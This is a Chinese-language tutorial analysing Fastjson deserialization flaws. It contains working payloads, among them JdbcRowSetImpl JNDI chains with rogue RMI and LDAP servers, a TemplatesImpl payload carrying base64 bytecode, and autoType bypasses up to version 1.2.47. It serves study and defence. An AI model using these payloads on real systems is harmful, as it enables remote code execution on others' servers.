Fastjson
概述
Fastjson是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Object 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Object。项目地址
Fastjson提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作。
JSON.toJSONString
JSON.parseObject/JSON.parse
Fastjson的简单使用
对于Fastjson来讲,并不是所有的Java对象都能被转为JSON,只有Java Bean格式的对象才能Fastjson被转为JSON。
//一个简单的Java Bean
//使用Alt+Insert快捷键快速生成setter和getter
public class Person {
public String name;
public int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
Fastjson中用于序列化和反序列化的方法如下
//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
序列化和反序列化
下面我们进行简单的测试
import com.alibaba.fastjson.JSON;
public class Fastjson_Learning {
public static void main(String[] args) {
//创建一个Java Bean对象
Person person = new Person();
person.setName("Faster");
person.setAge(18);
System.out.println("--------------序列化-------------");
//将其序列化为JSON
String JSON_Serialize = JSON.toJSONString(person);
System.out.println(JSON_Serialize);
System.out.println("-------------反序列化-------------");
//使用parse方法,将JSON反序列化为一个JSONObject
Object o1 = JSON.parse(JSON_Serialize);
System.out.println(o1.getClass().getName());
System.out.println(o1);
System.out.println("-------------反序列化-------------");
//使用parseObject方法,将JSON反序列化为一个JSONObject
Object o2 = JSON.parseObject(JSON_Serialize);
System.out.println(o2.getClass().getName());
System.out.println(o2);
System.out.println("-------------反序列化-------------");
//使用parseObject方法,并指定类,将JSON反序列化为一个指定的类对象
Object o3 = JSON.parseObject(JSON_Serialize,Person.class);
System.out.println(o3.getClass().getName());
System.out.println(o3);
}
}
结果如下
--------------序列化-------------
{"age":18,"name":"Faster"}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Faster","age":18}
-------------反序列化-------------
com.alibaba.fastjson.JSONObject
{"name":"Faster","age":18}
-------------反序列化-------------
Person
Person@e2144e4
可以看到,如果我们反序列化时不指定特定的类,那么Fastjosn就默认将一个JSON字符串反序列化为一个JSONObject。需要注意的是,对于类中private
类型的属性值,Fastjson默认不会将其序列化和反序列化。
Fastjson中的@type
当我们在使用Fastjson序列化对象的时候,如果toJSONString()
方法不添加额外的属性,那么就会将一个Java Bean转换成JSON字符串。
如果我们想把JSON字符串反序列化成Java Object,可以使用parse()
方法。该方法默认将JSON字符串反序列化为一个JSONObject对象。
那么我们怎么将JSON字符串反序列化为原始的类呢?这里有两种方法
第一种是序列化的时候,在toJSONString()
方法中添加额外的属性SerializerFeature.WriteClassName
,将对象类型一并序列化,如下所示
Person person = new Person();
person.setName("Faster");
person.setAge(18);
//序列化时添加额外属性
String type = JSON.toJSONString(person, SerializerFeature.WriteClassName);
System.out.println(type);
结果如下,Fastjson在JSON字符串中添加了一个@type
字段,用于标识对象所属的类。
{"@type":"Person","age":18,"name":"Faster"}
在反序列化该JSON字符串的时候,parse()
方法就会根据@type
标识将其转为原来的类。
String JSON_Serialize = "{\"@type\":\"Person\",\"age\":18,\"name\":\"Faster\"}";
System.out.println(JSON.parse(JSON_Serialize));
//结果如下
Person@4459eb14
第二种方法是在反序列化的时候,在parseObject()
方法中手动指定对象的类型
bject o3 = JSON.parseObject(JSON_Serialize,Person.class);
System.out.println(o3.getClass().getName());
System.out.println(o3);
Fastjson调用流程简单分析
序列化
我通过toJSONString()
方法能够将一个Java对象序列化为JSON字符串,我们简单调试一下,在setter和getter加上输出。
import com.alibaba.fastjson.JSON;
public class Fastjson_Test {
public static void main(String[] args) {
//创建一个Java Bean对象
Person person = new Person();
String JSON_Serialize = JSON.toJSONString(person);
}
}
结果如下
可以看到toJSONString()
方法实际是通过调用getter来获取对象的属性值的,进而根据这些属性值来生成JSON字符串。
反序列化
下面我们来重点关注一下parse()
方法是如何将一个JSON字符串反序列化为一个JSONObject对象的
parseObject()
只是对于parse()
做了封装,判断返回的对象是否为JSONObject
实例并强转为JSONObject
类。
下面我们来测试一下,首先不使用@type
标识
String JSON_Serialize = "{\"age\":18,\"name\":\"Faster\"}";
System.out.println(JSON.parse(JSON_Serialize));
//结果如下
{"name":"Faster","age":18}
由于没有指定对象所属的类,Fastjson只是默认将JSON反序列化为了JSONObject。
下面我们再来看看加上@type
标识的情况,这里我们使用parse()
方法反序列化
import com.alibaba.fastjson.JSON;
public class Fastjson_Test {
public static void main(String[] args) {
String JSON_Serialize = "{\"@type\":\"Person\",\"age\":18,\"name\":\"Faster\"}";
JSON.parse(JSON_Serialize);
}
}
可以推测出在反序列化过程中,会parse()
先调用@type标识的类的构造函数,然后再调用setter给对象赋值。
而parseObject()方法会同时调用setter和getter
String JSON_Serialize = "{\"@type\":\"Person\",\"age\":18,\"name\":\"Faster\"}";
System.out.println(JSON.parseObject(JSON_Serialize));
可以看见parseObject()
方法返回的是一个JSON Object对象,因为该方法实际上是调用parse()方法,然后调用toJSON()
方法将返回值强转为JSON Object。
所以这里调用setter的实际上是parse()
方法,调用getter的是toJSON()
方法。
如果我们不使用@type,而是在parseObject()中手动指定类
String JSON_Serialize = "{\"age\":18,\"name\":\"Faster\"}";
System.out.println(JSON.parseObject(JSON_Serialize,Person.class));
调用setter,返回指定类对象
源码分析
在DefaultJSONParser#parseObject
方法中,通过scanSymbol()
方法来解析出表示符@type
接着通过反射加载@type
指向的com.sun.rowset.JdbcRowSetImpl
类
反射加载的类的时候会对类进行黑名单检查,黑名单中只有Thread类
在反序列化类的时候会一步步判断,然后根据类来生成不同的deserializer
。但是我们的JdbcRowSetImpl
类并不在其中,所以会调用createJavaBeanDeserializer()
方法生成一个deserializer
跟进,在JavaBeanInfo#build中会反射获取类的属性和方法
接着会在反射获取的方法中循环遍历寻找特定的setter和getter。条件如下
- 方法名长度大于4且以set开头,且第四个字母要是大写
- 非静态方法
- 返回类型为void或当前类
- 参数个数为1个
接着就会根据JSON字符串中的键值对来调用相应的setter。
Fastjson反序列化漏洞
根据上文的分析,在反序列化时,parse触发了set方法,parseObject同时触发了set和get方法,由于存在这种autoType
特性。如果@type
标识的类中的setter或getter方法存在恶意代码,那么就有可能存在fastjson反序列化漏洞。
小demo
Calc.java
import java.io.IOException;
public class Calc {
public String calc;
public Calc() {
System.out.println("调用了构造函数");
}
public String getCalc() {
System.out.println("调用了getter");
return calc;
}
public void setCalc(String calc) throws IOException {
this.calc = calc;
Runtime.getRuntime().exec("calc");
System.out.println("调用了setter");
}
}
import com.alibaba.fastjson.JSON;
public class Fastjson_Test {
public static void main(String[] args) {
String JSON_Calc = "{\"@type\":\"Calc\",\"calc\":\"Faster\"}";
System.out.println(JSON.parseObject(JSON_Calc));
}
}
成功执行了setter中的恶意代码。因此,只要我们能找到一个合适的Java Bean,其setter或getter存在可控参数,则有可能造成任意命令执行。
Fastjson<=1.2.24
我们先来看最开始的漏洞版本是<=1.2.24,在这个版本前是默认支持@type
这个属性的
这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl
JdbcRowSetImpl利用链
JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以结合JNDI的攻击手法进行利用。是通用性最强的利用方式,在以下三种反序列化中均可使用,JDK版本限制和JNDI类似。
parse(jsonStr)
parseObject(jsonStr)
parseObject(jsonStr,Object.class)
RMI+JNDI
JDK版本为JDK8u_65
受害客户端 Fastjson_Jdbc_RMI.java
import com.alibaba.fastjson.JSON;
public class Fastjson_Jdbc_RMI {
public static void main(String[] args) {
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}
恶意RMI服务端 RMI_Server_Reference.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
public class RMI_Server_Reference {
void register() throws Exception{
LocateRegistry.createRegistry(1099);
Reference reference = new Reference("RMIHello","RMIHello","http://127.0.0.1:8888/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);
Naming.bind("rmi://127.0.0.1:1099/hello",refObjWrapper);
System.out.println("Registry运行中......");
}
public static void main(String[] args) throws Exception {
new RMI_Server_Reference().register();
}
}
成功执行
LDAP+JNDI
JDK版本为JDK8u_181
我们只需要更改一下payload即可,受害客户端
import com.alibaba.fastjson.JSON;
public class Fastjson_Jdbc_LDAP {
public static void main(String[] args) {
String payload = "{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true" +
"}";
JSON.parse(payload);
}
}
LDAP服务器 LDAP_Server.java
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAP_Server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8888/#EXP"};
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
成功执行
JdbcRowSetImpl利用链分析
问题出在JdbcRowSetImpl#setDataSourceName
和JdbcRowSetImpl#setAutoCommit
方法中存在可控的参数
setDataSourceName
()方法会设置dataSource
的值
而setAutoCommit
()会调用Connect()方法。所以这里AutoCommit的值其实没有用到
这里lookup()方法的参数正是dataSource
,我们可以将dataSource
控制为我们想要的服务地址。
调用栈如下
connect:627, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:10, Fastjson_Jdbc_LDAP
TemplatesImpl利用链
Fastjson通过bytecodes
字段传入恶意类,调用outputProperties
属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。
其实TemplatesImpl
这条链在我们构造CC3的时候已经利用过了,原因是TemplatesImpl#getTransletInstance
中调用了defineClass()
进行动态类加载,而其中的构造参数我们容易控制,这就造成了一些反序列化漏洞。
但该链的利用面较窄,由于payload需要赋值的一些属性为private
类型,需要在parse()
反序列化时设置第二个参数Feature.SupportNonPublicField
,服务端才能从JSON中恢复private
类型的属性。
利用测试
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class Fastjson_Temp {
public static void main(String[] args) {
ParserConfig config = new ParserConfig();
String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
}
}
成功执行
源码分析
前面我们分析过,Fastjson在反序列化的时候,会自动调用类的getter和setter来为类的属性赋值。那么TemplatesImpl这条链又是怎样和Fastjson联系起来的呢?
对于TemplatesImpl链,我们的最终目标是调用defineClass()进行动态类加载。而该类中的getOutputProperties()
方法能够最终走到defineClass(),并且格式也符合getter,下面我们简单的分析一下。
该方法调用了TemplatesImpl#newTransformer
,跟进
继续跟进getTransletInstance()
跟进defineTransletClasses()
,最终在该类中调用了defineClass()
根据上文的分析,我们的思路就很清晰了。构造一个TemplatesImpl
类的JSON,并且将_outputProperties
赋值,这样Fastjson在反序列化时就会调用getOutputProperties()
方法了。
但在实际的payload构造过程中,还是有一些值得注意的地方的。
构造Payload
首先看getTransletInstance()
方法
这里的限制如下
- 属性
_name
的值不为null
- 属性
_class
的值为null
接着跟进到defineTransletClasses()
方法,其中__bytecodes
为我们传入的恶意字节码
这里同样有两个限制
- 这里调用了
_tfactory.getExternalExtensionsMap()
,也就是说_tfactory
的值不为null
- 加载的恶意类必须为
AbstractTranslet
类的子类
这里还有一个小问题,我们传入的_bytecodes为bytes类型,而Fastjson在解析的时候会将bytes类型进行base64加密,解密的过程相反。所以这里我们需要将恶意类的字节码base64加密。
经上文的分析,我们可以构造payload
{
\"@type\":
\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",
\"_outputProperties\":{ },
'_name':'a.b',
'_tfactory':{ },
\"_bytecodes\":[\"base64\"]
}
其中恶意类为
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Payload extends AbstractTranslet {
public Payload() throws IOException{
Runtime.getRuntime().exec("calc");
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public static void main(String[] args) throws IOException {
Payload payload = new Payload();
}
}
将其编译为.class
文件后进行base64编码即可。
Fastjson高版本绕过
在Fastjson1.2.24被爆出反序列化漏洞之后,Fastjson便开始了坎坷的一生。
1.2.25-1.2.41绕过
我们先来看一看1.2.25是如何修复反序列化漏洞的
在1.2.24版本会直接加载@type指向的类,而1.2.25版本增加了对类的checkAutoType()
检查,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数AutoTypeSupport
。
Fastjson默认AutoTypeSupport为False
(默认开启白名单机制),需要通过服务端使用以下代码手动关闭,这一点是高版本一个难以绕过的地方。
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
可以看到在开启白名单的条件下无法加载到我们的利用类
这里我们修改autoTypeSupport=true
我们跟进TypeUtils#loadClass
看一下
- 如果以
[
开头则去掉[
后进行类加载(在之前Fastjson已经判断过是否为数组了,实际走不到这一步) - 如果以
L
开头,以;
结尾,则去掉开头和结尾进行类加载
那么加上L
开头和;
结尾实际上就可以绕过所有黑名单。Payload如下
{"
"\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true"
"}
//其他利用链也同理
成功执行
1.2.42绕过
1.2.42相较于之前的版本,关键是在ParserConfig.java
中修改了以下两点
- 黑名单改为了hash值,防止绕过
- 对于传入的类名,删除开头
L
和结尾的;
虽然说利用hash可以让我们不知道禁用了什么类,但是加密方式是有写com.alibaba.fastjson.parser.ParserConfig#addDeny
中的com.alibaba.fastjson.util.TypeUtils#fnv1a_64
,我们理论上可以遍历jar,字符串,类去碰撞得到这个hash的值。(因为常用的包是有限的)
但是可以发现在以上的处理中,只删除了一次开头的L
和结尾的;
,这里就好像使用黑名单预防SQL注入,只删除了一次敏感词汇的防御错误一样,双写就可以轻易的绕过。
{"
"\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " +
"\"autoCommit\":true"
"}
1.2.43版本绕过
1.2.43版本修改了checkAutoType()
的部分代码,对于LL等开头结尾的字符串直接抛出异常。
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
我们可以通过[{
绕过,Payload如下
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://localhost:1399/Exploit",
"autoCommit":true
}
首先在恶意类前添加[
,变成"[com.sun.rowset.JdbcRowSetImpl"
,会报错
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:9999/EXP", "autoCommit":true}
根据提示在逗号前添加[
,变成"[com.sun.rowset.JdbcRowSetImpl"[
,仍报错
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43
继续在逗号前添加{,变成 "[com.sun.rowset.JdbcRowSetImpl"[{
,成功执行
1.2.44修复
修复了对[的限制
1.2.45绕过
1.2.45版本添加了一些黑名单,但是存在组件漏洞,我们能通过mybatis组件进行JNDI接口调用,进而加载恶意类。
首先引入依赖
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.6</version>
</dependency>
Payload如下
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:9999/EXP"
}
}
成功执行
1.2.47通杀绕过
该版本Payload能够绕过
内的各种检测,原理是通过Fastjson自带的缓存机制将恶意类加载到checkAutoType
Mapping
中,从而绕过checkAutoType
检测。
前半——将恶意类写入mapping缓存
我们现来看一下关键代码,仍是在checkAutoType()
方法中
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
...
//前面是对typeName格式的各种检测,这里我们暂时跳过
//开启autoTypeSupport,则进入白名单+黑名单检测
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
//白名单检测,这里我们无法绕过
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
//黑名单检测,可以看到这里多了一个从Mapping中寻找类名的判断,绕过的关键就在这里
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {
//从Mapping缓冲中加载类
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
//从deserializer中加载类
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
//通过上面两个方法加载类后返回
return clazz;
}
//默认开启白名单的情况
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
//黑名单校验
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
//白名单校验
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
...
return clazz;
}
可以看到,如果我们在mapping
中缓存有我们加载的恶意类,那么就有可能绕过黑白名单检测。下一步我们看看mapping
这个属性是否可控,如果能够将我们的恶意类写入mapping
中,那么就有可能绕过checkAutoType()
的检测
下面我们看一看TypeUtils#getClassFromMapping
方法
从mapping
中获取类名,下面我们就来看看mapping
是在哪里赋值的,寻找mapping.put
方法,
在以下两个方法中被调用
TypeUtils#addBaseClassMappings
TypeUtils#loadClass
其中TypeUtils#addBaseClassMappings
为无参方法,并且没有我们可控的参数。
我们直接看TypeUtils#loadClass
方法,这个方法其实之前我们也分析过了,就是在加载类之前对类名做一些检查和判断,这部分代码我们就先跳过。
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
...
//对类名进行检查和判断
try{
//第一处,classLoader不为null
if(classLoader != null){
clazz = classLoader.loadClass(className);
//如果chche为true,则将我们输入的className缓存入mapping中
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
//第二处,检查较为严格
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
//如果chche为true,则将我们输入的className缓存入mapping中
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
//第三处,限制宽松,但
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
可以看见以上有三个地方能够向mapping写入恶意类,我们先看看哪里调用了loadClass
就在TypeUtils的同名方法中,并且cache
默认为true
,完美符合,接着寻找调用。
在MiscCodec#deserialze中
其中clazz必须为Class.class,可以由@type
控制。strVal
即为我们要控制的className
,我们先看看strVal
在哪里被赋值的
接着找objVal的赋值
Object objVal;
//if判断默认为true
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);
if (lexer.token() == JSONToken.LITERAL_STRING) {
//必须有val属性
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
parser.accept(JSONToken.COLON);
//objVal的值为从JSON中解析到的val的值
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}
由此我们可以构造出前半部分payload
{
//满足clazz为Class.class
"@type":"java.lang.Class",
//有val,且值为我们要写入mapping的恶意类
"val":"com.sun.rowset.JdbcRowSetImpl"
}
可以看见这里已经将我们的恶意类写入到了mapping中
后半——从mapping中加载恶意类
上文我们已经分析过了,通过从mapping
中加载恶意类可以绕过checkAutoType()
的检测,当我们第二次进入checkAutoType()的时候,就会从mapping中获取恶意类
可以看见这里的clazz已经被设置为了恶意类,后续的利用就和低版本的利用链一样了。
完整Payload
{
"1":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
}
"2":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:9999/EXP",
"autoCommit":"true"
}
}
经测试,该版本Payload基本通杀全版本的Fastjson。其他利用链构造方式同上。
利用测试
Fastjson_Jdbc_LDAP.java
import com.alibaba.fastjson.JSON;
public class Fastjson_Jdbc_LDAP {
public static void main(String[] args) {
String payload = "{" +
"\"1\":{" +
"\"@type\":\"java.lang.Class\"," +
"\"val\":\"com.sun.rowset.JdbcRowSetImpl\"" +
"}," +
"\"2\":{" +
"\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
"\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\"," +
"\"autoCommit\":true" +
"}" +
"}";
JSON.parse(payload);
}
}
可以看见该Payload是完全绕过checkAutoType()的各种检测,包括AutoTypeSupport
等在内的属性值。
LDAP_Server.java
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
